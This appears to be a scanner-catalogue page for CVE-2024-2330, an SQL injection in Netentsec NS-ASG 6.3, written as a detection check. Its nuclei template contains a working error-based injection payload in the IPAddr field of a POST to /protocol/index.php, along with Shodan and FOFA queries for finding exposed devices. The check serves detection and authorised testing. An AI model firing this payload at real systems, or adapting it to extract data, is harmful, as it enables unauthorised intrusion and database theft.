CVE-2024-2330· CWE-89
NS-ASG Application Security Gateway 6.3 - Sql Injection
A vulnerability was found in Netentsec NS-ASG Application Security Gateway 6.3. It has been classified as critical. This affects an unknown part of the file /protocol/index.php. The manipulation of the argument IPAddr leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.
Impact
Authenticated attackers can extract sensitive database information via SQL injection in the NS-ASG Application Security Gateway.
Fix
Update NS-ASG Application Security Gateway to a version newer than 6.3.
How to confirm it
Send: POST /protocol/index.php
Positive when: contains_all(body,"XPATH syntax error:","alert") && contains(header,"text/html") and status_code == 200Run it with nuclei: nuclei -id CVE-2024-2330 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2024-2330
info:
name: NS-ASG Application Security Gateway 6.3 - Sql Injection
author: s4e-io
severity: medium
description: |
A vulnerability was found in Netentsec NS-ASG Application Security Gateway 6.3. It has been classified as critical. This affects an unknown part of the file /protocol/index.php. The manipulation of the argument IPAddr leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.
impact: |
Authenticated attackers can extract sensitive database information via SQL injection in the NS-ASG Application Security Gateway.
remediation: |
Update NS-ASG Application Security Gateway to a version newer than 6.3.
reference:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-2330
- https://nvd.nist.gov/vuln/detail/CVE-2024-2330
- https://github.com/jikedaodao/cve/blob/main/NS-ASG-sql-addmacbind.md
- https://vuldb.com/?ctiid.256281
- https://vuldb.com/?id.256281
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
cvss-score: 6.3
cve-id: CVE-2024-2330
cwe-id: CWE-89
epss-score: 0.17622
epss-percentile: 0.97172
metadata:
max-request: 2
shodan-query: http.title:“NS-ASG”
fofa-query: app="网康科技-NS-ASG安全网关"
tags: cve,cve2024,ns-asg,sqli,vkev,vuln
http:
- raw:
- |
POST /protocol/index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
matchers:
- type: dsl
dsl:
- 'contains_all(body,"XPATH syntax error:","alert") && contains(header,"text/html")'
- "status_code == 200"
condition: and
extractors:
- type: regex
name: version
group: 1
regex:
- "XPATH syntax error: '([~0-9.]+)'"References
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-2330
- https://nvd.nist.gov/vuln/detail/CVE-2024-2330
- https://github.com/jikedaodao/cve/blob/main/NS-ASG-sql-addmacbind.md
- https://vuldb.com/?ctiid.256281
- https://vuldb.com/?id.256281
Use this check only on systems you are authorised to test. Where the data comes from